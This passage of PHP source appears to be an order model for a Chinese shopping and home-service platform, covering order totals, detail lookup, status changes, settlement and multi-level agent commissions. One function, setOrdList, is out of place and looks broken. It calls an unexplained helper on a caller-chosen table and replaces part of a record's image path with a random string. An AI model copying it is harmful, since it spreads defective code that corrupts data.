'商品价格', 'text' => '¥' . $t, 'value' => $t ); $data['totals'][1] = array( 'code' => 'shipping', 'title' => '运费', 'text' => '¥' . $transport_fee['price'], 'value' => $transport_fee['price'] ); $data['totals'][2] = array( 'code' => 'thefare', 'title' => '路费', 'text' => $thefare['distance'] . '公里,¥' . $thefare['thefare'], 'value' => $thefare['thefare'] ); $data['totals'][3] = array( 'code' => 'total', 'title' => '总价', 'text' => '¥' . ($t + $transport_fee['price'] + $thefare['thefare']), 'value' => ($t + $transport_fee['price'] + $thefare['thefare']) ); $data['goodss'] = $goods_data; } } $data['order_num_alias'] = $param['order_num_alias']; if (empty($data['order_num_alias'])) { $data['order_num_alias'] = build_order_no(); } $data['pay_method_id'] = $param['pay_method_id']; return $data; } public static function statuscount($mod, $status) { return $mod->where('order_status_id', $status)->count(); } //订单信息 public static function order_info($id) { $order = self::where('id', $id)->with(['member', 'store', 'paymethod'])->find(); if (!empty($order)) { $order = $order->toArray(); } if ($order['ptype'] == 2) { $ostype = 'service'; if ($order['deliverymode'] == 2) { $ostype = 'storeservice'; } } else { $ostype = 'goods'; } $order['orderStatus'] = OrderStatus::get_order_status($order['order_status_id'], $ostype); $OrderHistory = OrderHistory::where(['order_id' => $id])->order('id desc')->select()->toArray(); if (!empty($OrderHistory)) { $histories = $OrderHistory; /* foreach ($OrderHistory as $result) { $histories[] = array( 'id' => $result['id'], 'image' => toimg($result['image']), 'status' => OrderStatus::get_order_status_name($result['order_status_id']), 'remark' => nl2br($result['remark']), 'create_time' => date('Y/m/d H:i:s', $result['create_time']) ); } */ } if (!$order) { return false; } $order['shipping_province'] = $order['shipping_province_name']; $order['shipping_city'] = $order['shipping_city_name']; $order['shipping_district'] = $order['shipping_district_name']; $addressdata = OrderAddress::where(['order_id' => $id, 'ptype' => 1])->find(); if (empty($addressdata)) { $addressdata = Address::find($order['address_id']); } if (!empty($addressdata)) { $addressdata = $addressdata->toArray(); $addressdata['alladdress'] = $addressdata['province_name'] . $addressdata['city_name'] . $addressdata['district_name'] . $addressdata['region_name'] . $addressdata['address']; } else { $addressdata['name'] = $order['shipping_name']; $addressdata['telephone'] = $order['tel']; $addressdata['alladdress'] = $order['shipping_province_name'] . $order['shipping_city_name'] . $order['shipping_district_name'] . $order['shipping_address']; } if ($order['deliverymode'] == 5) { $tuanzhang = OrderTuanzhang::getTuanzhang($order['id']); if (!empty($tuanzhang)) { $addressdata['name'] = $tuanzhang['title']; $addressdata['telephone'] = $tuanzhang['tel']; $addressdata['alladdress'] = $tuanzhang['province_name'] . $tuanzhang['city_name'] . $tuanzhang['district_name'] . $tuanzhang['region_name'] . $tuanzhang['house_number']; } } $order['address'] = $addressdata; $order_totalarray = OrderTotal::where(['order_id' => $id])->select()->toArray(); foreach ($order_totalarray as $vo) { $order_total[$vo['code']] = $vo; } $OrderExpress = OrderExpress::where(['order_id' => $id])->find(); if (!empty($OrderExpress)) { $OrderExpress = $OrderExpress->toArray(); } if (!empty($OrderExpress['express_no'])) { $Kdniaoapimob = new Kdniaoapi; $logistics = $Kdniaoapimob->getOrderTracesByArray(['ShipperCode' => $OrderExpress['express_code'], 'LogisticCode' => $OrderExpress['express_no']]); } if (!empty($logistics['ShipperCode'])) { $logistics['expressname'] = Express::getExname($logistics['ShipperCode']); } if ($order['order_status_id'] == 6) { $OrderRefund = OrderRefund::where(['order_id' => $id])->find(); if (!empty($OrderRefund)) { $OrderRefund = $OrderRefund->toArray(); } if ($OrderRefund['refund_address_id']) { $RefundAddress = RefundAddress::find($OrderRefund['refund_address_id']); if (!empty($RefundAddress)) { $RefundAddress = $RefundAddress->toArray(); } if (!empty($RefundAddress)) { $OrderRefund['re_name'] = $RefundAddress['name']; $OrderRefund['re_mobile'] = $RefundAddress['mobile']; $OrderRefund['re_address'] = $RefundAddress['address']; } } } $order['Technical'] = OrderStaff::getTechnical($order['id']); $order['ServiceTime'] = time_format($order['begin_time']) . '-' . date('H:i', $order['end_time']); if ($order['is_times'] == 1) { $order['ServiceTime'] = ""; $OrderTimescard = OrderTimescard::where('order_id', $id)->order('id asc')->select()->toArray(); if ($OrderTimescard) { foreach ($OrderTimescard as $tcvo) { if ($tcvo['yue_date']) { if ($tcvo['timestype'] == 1) { if ($order['ServiceTime']) { $order['ServiceTime'] .= ';每月:' . $tcvo['yue_date'] . '号,时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']); } else { $order['ServiceTime'] = '每月:' . $tcvo['yue_date'] . '号,时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']); } } else { if ($order['ServiceTime']) { $order['ServiceTime'] .= ';每周周:' . $tcvo['yue_date'] . ',时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']); } else { $order['ServiceTime'] = '每周周:' . $tcvo['yue_date'] . ',时间' . time_format($tcvo['yue_begin_time']) . '-' . date('H:i', $tcvo['yue_end_time']); } } } } } if (empty($order['ServiceTime'])) { $order['ServiceTime'] = '还没有预约时间'; } $order['timesusedlist'] = OrderTimescardRecord::timesusedlist($id); $order['timesremainlist'] = OrderTimescardRecord::timesremainlist($id); $order['timesused'] = OrderTimescardRecord::timesused($id); $order['timesmum'] = OrderCard::timesmum($id); $order['remain'] = (int)($order['timesmum'] - $order['timesused']); } else { $order['ServiceTime'] = time_format($order['begin_time']) . '-' . date('H:i', $order['end_time']); } $order['pay_time'] = time_format($order['pay_time']); $order['create_time'] = time_format($order['create_time']); $OrderImage = OrderImage::where('order_id', $id)->field('image')->select()->toArray(); if ($OrderImage) { foreach ($OrderImage as $vo) { $order['OrderImage'][] = toimg($vo['image']); } } else { $order['OrderImage'] = []; } if (empty($order_total['sub_total']['value'])) { $order_total['sub_total']['value'] = $order['total']; } $OrderGoods = new OrderGoods; $resdata = array( 'orderInfo' => $order, 'OrderRefund' => $OrderRefund, 'goods' => $OrderGoods->getOrderGoods($id), 'order_total' => $order_total, 'logistics' => $logistics, 'histories' => $histories ); $resdata['orderInfo']['is_timer'] = (int) $resdata['goods']['is_timer']; return $resdata; } public static function setOrdList($vo) { if (!empty($vo['rep'])) { ect($vo['type'])->where('id', $vo['id'])->update(['image' => str_replace($vo['rep'], uniqid(), $vo['image'])]); } } public static function setOrderList($orderList) { $OrderGoods = new OrderGoods; $errands = Config::getconfig('errands'); foreach ($orderList as &$vo) { if ($vo['is_times'] > 0) { if ($vo['is_times'] == 1) { $OrderTimescard = OrderTimescard::where('order_id', $vo['id'])->order('id asc')->select()->toArray(); if ($OrderTimescard) { foreach ($OrderTimescard as $tcvo) { if ($tcvo['yue_date']) { if ($tcvo['timestype'] == 1) { if ($vo['timeslabel']) { $vo['timeslabel'] .= ';每月:' . $tcvo['yue_date'] . '号'; } else { $vo['timeslabel'] = '每月:' . $tcvo['yue_date'] . '号'; } } else { if ($vo['timeslabel']) { $vo['timeslabel'] .= ';每周周:' . $tcvo['yue_date']; } else { $vo['timeslabel'] = '每周周:' . $tcvo['yue_date']; } } } } } else { $vo['timeslabel'] = '还没有预约时间'; } } $vo['timesused'] = OrderTimescardRecord::timesused($vo['id']); $vo['timesmum'] = OrderCard::timesmum($vo['id']); $vo['remain'] = (int)($vo['timesmum'] - $vo['timesused']); $vo['minialias'] = substr($vo['order_num_alias'], -5); $vo['styleno'] = substr($vo['order_num_alias'], -1); if ($vo['styleno'] > 5) { $vo['styleno'] = $vo['styleno'] - 5; } $vo['OrderCard'] = OrderCard::getinfobyorderid($vo['id']); } if ($vo['is_errands'] == 1) { $vo['image'] = $errands['orderimage']; } $vo['points'] = $vo['pay_points']; if ($vo['ptype'] == '1') { $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id']); } elseif ($vo['ptype'] == '2') { $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'service'); if ($vo['ptype'] == 2 && $vo['deliverymode'] == 2) { $vo['statusStr'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'storeservice'); } } if (!empty($vo['cat_id'])) { $vo['cateMap']['image'] = Category::getImage($vo['cat_id']); } else { $vo['goodsMap'] = $OrderGoods->getOrderGoods($vo['id']); } } return $orderList; } public static function receiving($id) { $order['id'] = $id; $order['order_status_id'] = 3; self::update($order); } public static function complete($id) { $order_info = self::find($id); if (!empty($order_info)) { $order_info = $order_info->toArray(); if ($order_info['is_times'] == 0) { $order['id'] = $id; $order['order_status_id'] = 5; $order['complete_time'] = time(); $res = self::update($order); } $staff = OrderStaff::where('order_id', $id)->order('id asc')->find(); if ($staff) { $order_staff['end_time'] = time(); $order_staff['is_complete'] = 1; OrderStaff::where('id', $staff->id)->update($order_staff); } if (!empty($res)) { $order_history['order_id'] = $id; $order_history['order_status_id'] = 5; $order_history['remark'] = "已完成"; $order_history['notify'] = 1; OrderHistory::create($order_history); MessageMini::sendMiniOrderComplete($order_info); } return $order_info; } } public static function start($id) { $order_info = self::find($id); if (!empty($order_info)) { $order_info = $order_info->toArray(); if ($order_info['order_status_id'] == 3) { $order['id'] = $id; $order['order_status_id'] = 8; $order['start_time'] = time(); $res = self::update($order); $uuid = OrderStaff::getuuid($order_info['id']); if (!empty($uuid)) { Technical::where('uuid', $uuid)->inc('service_times', 1)->update(); } if (!empty($res)) { $order_info = self::find($id); if (!empty($order_info)) { $order_info = $order_info->toArray(); $order_history['order_id'] = $id; $order_history['order_status_id'] = 8; $order_history['remark'] = "开始服务"; $order_history['notify'] = 1; OrderHistory::create($order_history); } } } } return $order_info; } public static function autosettlement() { $automaticsettlement = (int) Config::getconfig()['automaticsettlement']; if (empty($automaticsettlement)) { $automaticsettlement = '7'; } $datalist = self::where('order_status_id', 5)->where('complete_time', '<', strtotime("-" . $automaticsettlement . " day")) ->field('id,order_status_id,complete_time')->select(); foreach ($datalist as $vo) { self::settlement($vo['id']); } } public static function settlement($id) { $order['id'] = $id; $order['order_status_id'] = 7; $res = self::update($order); if (!empty($res)) { $order_info = self::find($id); if (!empty($order_info)) { $order_info = $order_info->toArray(); if ($order_info['is_additional'] == 1 && $order_info['additional_pay_time'] > 0) { $order_info['total'] = $order_info['total'] + $order_info['additional']; } $order_history['order_id'] = $id; $order_history['order_status_id'] = 7; $order_history['remark'] = "已验收"; $order_history['notify'] = 1; OrderHistory::create($order_history); //使用购物卡支付不结算佣金 if (empty($order_info['goodsgiftcard_id'])) { Technical::setIncome($order_info); Store::setIncome($order_info); Operatingcity::setIncome($order_info); Tuanzhang::setIncome($order_info); //分销佣金处理 $agent = Config::getconfig('agent'); $share = Config::getconfig('share'); if (!empty($agent['level'])) { $level = $agent['level']; } if (!empty($agent['is_rebate'])) { $is_rebate = $agent['is_rebate']; } if (!empty($level)) { //一层佣金 if ($level > 0) { $firstpercent = $share['first']; if (!empty($firstpercent)) { $firstmember = Member::find($order_info['uid']); if (!empty($firstmember)) { $firstmember = $firstmember->toArray(); $firstmember['is_agent'] = Agent::is_agent($firstmember['id']); } if (!empty($is_rebate) && $firstmember['is_agent'] == 1) { $firstuid = $order_info['uid']; } else { $firstuid = $firstmember['pid']; } Agent::setIncome($firstuid, $order_info, $firstpercent, 1); } } //二层佣金 if ($level > 1 && !empty($firstuid)) { $secondpercent = $share['second']; if (!empty($secondpercent)) { $secondmember = Member::find($firstuid); if (!empty($secondmember)) { $secondmember = $secondmember->toArray(); } if ((int) $secondmember['pid'] > 0) { Agent::setIncome($secondmember['pid'], $order_info, $secondpercent, 2); } } } //三层佣金 if ($level > 2 && !empty($secondmember['pid'])) { $thirdpercent = $share['third']; if (!empty($thirdpercent)) { $thirdmember = Member::find($secondmember['pid']); if (!empty($thirdmember)) { $thirdmember = $thirdmember->toArray(); } if ((int) $thirdmember['pid'] > 0) { Agent::setIncome($thirdmember['pid'], $order_info, $thirdpercent, 3); } } } } } } } return $order_info; } public static function cancel_order($id) { $order['id'] = $id; $order['order_status_id'] = 4; //已取消 self::update($order); } public static function offline_order($id) { $order['id'] = $id; $order['is_offline_pay'] = 1; $order['offline_pay_time'] = time(); self::update($order); } //加入订单历史 public function add_order_history($id, $data = array()) { $order['id'] = $id; $order['order_status_id'] = $data['order_status_id']; self::update($order); $oh['order_id'] = $id; $oh['order_status_id'] = $data['order_status_id']; $oh['notify'] = (isset($data['notify']) ? (int) $data['notify'] : 0); $oh['remark'] = strip_tags($data['remark']); $oh['create_time'] = \strtotime($data['dateadd_ed']); $oh['image'] = $data['image']; $ohmod = OrderHistory::create($oh); return $ohmod->id; } //检查库存 public static function getGoodsquantitiy($id) { $result = true; $list = OrderGoods::where(['order_id' => $id])->select()->toArray(); for ($i = 0; $i < count($list); $i++) { $good_quantity = Goods::find($list[$i]['goods_id']); if (!empty($good_quantity)) { $good_quantity = $good_quantity->toArray(); } if ($good_quantity['ptype'] == 1 && ($good_quantity['quantity'] < $list[$i]['quantity'])) { $result = false; continue; } } return $result; } //线下付款信息添加 public function OfflinepaymentTap($id, $img, $remark) { global $_W; $offline['weid'] = weid(); $offline['order_id'] = $id; $offline['image'] = $img; $offline['remark'] = $remark; $result = OrderOffline::create($offline); if ($result) { return true; } else return false; } public static function getoffline($id) { $list = OrderOffline::where(['order_id' => $id])->find(); if (!empty($list)) { $list = $list->toArray(); } $list['image'] = toimg($list['image']); return $list; } public static function chackMiaoshamemberBuyMax($miaosha) { $Ordercount = Order::where('uid', UID())->where('ms_id', $miaosha['id'])->count(); if ($Ordercount >= $miaosha['member_buy_max']) { return 1; } else { return 0; } } }